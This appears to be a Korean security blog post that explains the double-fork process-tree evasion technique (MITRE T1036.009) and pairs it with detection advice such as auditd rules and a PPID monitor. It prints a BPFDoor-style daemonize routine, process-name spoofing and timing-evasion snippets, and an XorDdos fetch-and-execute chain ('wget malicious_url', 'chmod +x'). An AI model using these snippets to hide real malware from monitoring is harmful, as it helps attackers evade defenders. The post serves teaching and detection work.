프로세스 트리 조작: fork() 3단계로 부모 추적을 차단하는 원리 | T1036.009
더블 포크로 프로세스 트리 추적을 끊는다. BPFDoor가 실제 사용한 fork() 3단계 코드와 탐지 불가능한 구조적 이유.
Linux 시스템에서 실행되는 모든 프로세스는 부모-자식 관계로 연결된 트리 구조를 형성한다. 보안 도구들이 이 프로세스 트리를 추적하여 악성 행위를 탐지하자, 공격자들은 더블 포크(Double Fork) 기법으로 이 추적망을 정교하게 우회하기 시작했다. MITRE ATT&CK 프레임워크의 T1036.009 "Break Process Trees" 는 이러한 프로세스 트리 조작 기법을 분류한 것으로, 현재 14개 이상의 APT 그룹이 활용하고 있는 핵심 방어 회피 기술이다.
이 기법은 원래 Unix 시스템에서 데몬 프로세스를 생성하는 정당한 목적으로 개발되었지만, 공격자들이 악성코드의 실행 흔적을 감추는 도구로 변질시켰다. 단 3번의 시스템 호출만으로 부모 프로세스와의 연결고리를 완전히 끊어버리는 이 기법의 동작 원리를 깊이 있게 분석해보겠다.
T1036.009 "Break Process Trees" 는 실행된 악성코드의 부모 프로세스 ID(PPID)를 조작하여 프로세스 트리 기반 분석을 회피하는 기법이다. 공격자는 일련의 Native API 호출을 통해 악성코드 프로세스가 원래 실행 맥락에서 분리되도록 만들어, 보안 도구의 추적을 차단한다.
Adversaries may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the "parent-child" relationship for detection, breaking this relationship could result in the adversary's behavior not being associated with previous process tree activity. — MITRE ATT&CK T1036.009
위 정의에서 핵심은 "parent-child relationship"을 끊는다는 점이다. 프로세스 트리는 운영체제가 모든 프로세스를 관리하는 기본 구조이며, 보안 도구들이 이 구조를 분석하여 악성 행위의 전파 경로를 추적한다.
| 용어 | 설명 |
|---|---|
| 프로세스 트리 | 역할: 부모-자식 관계로 연결된 프로세스 구조 / 차이점: 시스템 전체의 프로세스 계층 표현 / 정상 사용: 시스템 관리, 리소스 추적 |
| 더블 포크 | 역할: 두 번의 fork() 호출로 손자 프로세스 생성 / 차이점: 부모와의 연결을 완전히 끊음 / 정상 사용: 데몬 프로세스 생성 |
| 데몬화 | 역할: 백그라운드에서 독립적으로 실행되는 프로세스 변환 / 차이점: 터미널과 세션에서 완전 분리 / 정상 사용: 시스템 서비스 실행 |
| 세션 리더 | 역할: 새로운 세션을 시작하는 프로세스 / 차이점: 제어 터미널을 가질 수 있는 권한 / 정상 사용: 로그인 세션 관리 |
| 고아 프로세스 | 역할: 부모가 죽어서 init(PID 1)에 입양된 프로세스 / 차이점: 원래 부모와의 관계가 끊어짐 / 정상 사용: 정상적인 프로세스 정리 |
더블 포크 기법은 3단계의 프로세스 생성과 종료를 통해 최종 악성코드가 init 프로세스(PID 1)의 직접 자식이 되도록 만듭니다. 이 과정에서 원래 실행 맥락과의 모든 연결이 끊어집니다.
공격자의 악성 스크립트나 실행 파일이 첫 번째 fork() 시스템 호출을 수행한다.
// 첫 번째 fork 실행
pid_t child_a = fork();
if (child_a > 0) {
// 부모 프로세스: 자식 A를 기다린 후 종료
wait(NULL);
exit(0);
} else if (child_a == 0) {
// 자식 A: 새로운 세션 생성
setsid();
// 두 번째 fork 준비
// ...
}
자식 A는 setsid() 호출을 통해 새로운 세션의 리더가 된다. 이 과정에서 다음 변화가 발생한다:
자식 A가 두 번째 fork()를 실행하여 손자 프로세스(자식 B)를 생성한다.
// 자식 A에서 두 번째 fork 실행
pid_t child_b = fork();
if (child_b > 0) {
// 자식 A: 즉시 종료
exit(0);
} else if (child_b == 0) {
// 자식 B (손자): 실제 악성코드 실행
// 표준 입출력 리다이렉션
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// 악성 페이로드 실행
execve("/path/to/malware", argv, envp);
}
두 번째 fork의 핵심 목적은 세션 리더 권한 박탈이다. 자식 B는 세션 리더가 아니므로 open() 호출을 통해 제어 터미널을 다시 획득할 수 없다.
자식 A와 원래 부모 프로세스가 모두 종료되면, 손자 프로세스(자식 B)는 고아 프로세스가 된다. Linux 커널은 모든 고아 프로세스를 init 프로세스(PID 1)가 입양하도록 설계되어 있다.
# 더블 포크 실행 전 프로세스 트리
$ pstree -p
systemd(1)───bash(1234)───malicious_script(5678)
# 더블 포크 실행 후 프로세스 트리
$ pstree -p
systemd(1)───malware_daemon(9999)
이제 악성코드 프로세스의 PPID는 1이 되어, 원래 실행 맥락과의 연결이 완전히 사라집니다.
BPFDoor 악성코드에서 사용된 더블 포크 구현을 분석해보겠다:
void daemonize() {
pid_t pid;
// 첫 번째 fork
pid = fork();
if (pid < 0) exit(EXIT_FAILURE);
if (pid > 0) exit(EXIT_SUCCESS); // 부모 종료
// 새 세션 생성
if (setsid() < 0) exit(EXIT_FAILURE);
// 시그널 핸들러 설정
signal(SIGCHLD, SIG_IGN);
signal(SIGHUP, SIG_IGN);
// 두 번째 fork
pid = fork();
if (pid < 0) exit(EXIT_FAILURE);
if (pid > 0) exit(EXIT_SUCCESS); // 자식 A 종료
// 파일 권한 마스크 초기화
umask(0);
// 루트 디렉토리로 이동
chdir("/");
// 표준 파일 디스크립터 닫기
for (int x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
close(x);
}
}
이 구현에서 주목할 점은 시그널 처리이다. SIGCHLD와 SIGHUP 시그널을 무시하도록 설정하여 자식 프로세스 종료나 터미널 연결 해제에 영향받지 않도록 한다.
보안 도구들은 프로세스 트리 분석을 통해 악성 행위를 탐지한다. 일반적인 탐지 로직은 다음과 같다:
cmd.exe → powershell.exe → malware.exe 같은 연쇄 실행 탐지공격자는 더블 포크를 통해 이 모든 탐지 로직을 무력화시킵니다.
XorDdos 악성코드의 프로세스 트리 조작 사례를 분석해보겠다:
# 초기 감염 단계
/bin/bash → wget malicious_url → chmod +x malware
# 더블 포크 실행 후
systemd(1) → malware_daemon(random_pid)
XorDdos는 다음 단계로 탐지를 회피했다:
/tmp 디렉토리에 무작위 이름으로 실행 파일 저장공격자들은 기본 더블 포크 외에도 추가적인 우회 기법을 조합한다:
1. 프로세스 이름 위장
// argv[0] 조작으로 프로세스 이름 위장
strcpy(argv[0], "[kthreadd]"); // 커널 스레드로 위장
execve(malware_path, argv, envp);
2. 실행 시점 분산
// 무작위 지연으로 행위 분석 회피
sleep(rand() % 3600); // 최대 1시간 대기
daemonize();
3. 환경 변수 정리
// 실행 환경 흔적 제거
clearenv();
setenv("PATH", "/usr/bin:/bin", 1);
프로세스 생성 이벤트 모니터링
더블 포크는 여러 시스템 호출을 연속으로 실행하므로, 이 패턴을 탐지할 수 있다:
# auditd 규칙 설정
-a always,exit -F arch=b64 -S fork,vfork,clone -k process_creation
-a always,exit -F arch=b64 -S setsid -k session_creation
부모 프로세스 변화 추적
# 프로세스 PPID 변화 모니터링
import psutil
import time
def monitor_ppid_changes():
processes = {}
while True:
for proc in psutil.process_iter(['pid', 'ppid', 'name']):
pid = proc.info['pid']
current_ppid = proc.info['ppid']
if pid in processes:
old_ppid = processes[pid]['ppid']
if old_ppid != current_ppid and current_ppid == 1:
print(f"의심스러운 PPID 변화: {pid} ({old_ppid} → 1)")
processes[pid] = proc.info
time.sleep(1)
세션 생성 패턴 분석
# 비정상적인 setsid 호출 탐지
strace -e trace=setsid -p <suspicious_pid>
방어 체크리스트
T1036.009 "Break Process Trees" 기법은 단순해 보이지만 매우 효과적인 방어 회피 수단이다. 3번의 시스템 호출만으로 보안 도구의 프로세스 트리 분석을 완전히 무력화시킬 수 있기 때문이다.
이 기법의 핵심은 정당한 시스템 기능의 악용에 있다. 더블 포크는 원래 Unix 데몬 생성을 위한 표준 기법이었지만, 공격자들이 이를 악성코드 은닉 도구로 변질시켰다. 방어자는 프로세스 생성 패턴과 시스템 호출 시퀀스를 종합적으로 분석하여 정상적인 데몬화와 악의적인 트리 조작을 구분해야 한다.
관련하여 T1036 위장 공격: 85개 APT 그룹이 정체를 숨기는 12가지 기법에서 다른 위장 기법들과의 조합 사례를, T1562 방어 무력화: APT 그룹이 EDR을 끄는 13가지 기술 원리에서 프로세스 모니터링 우회 기법을 함께 살펴볼 수 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.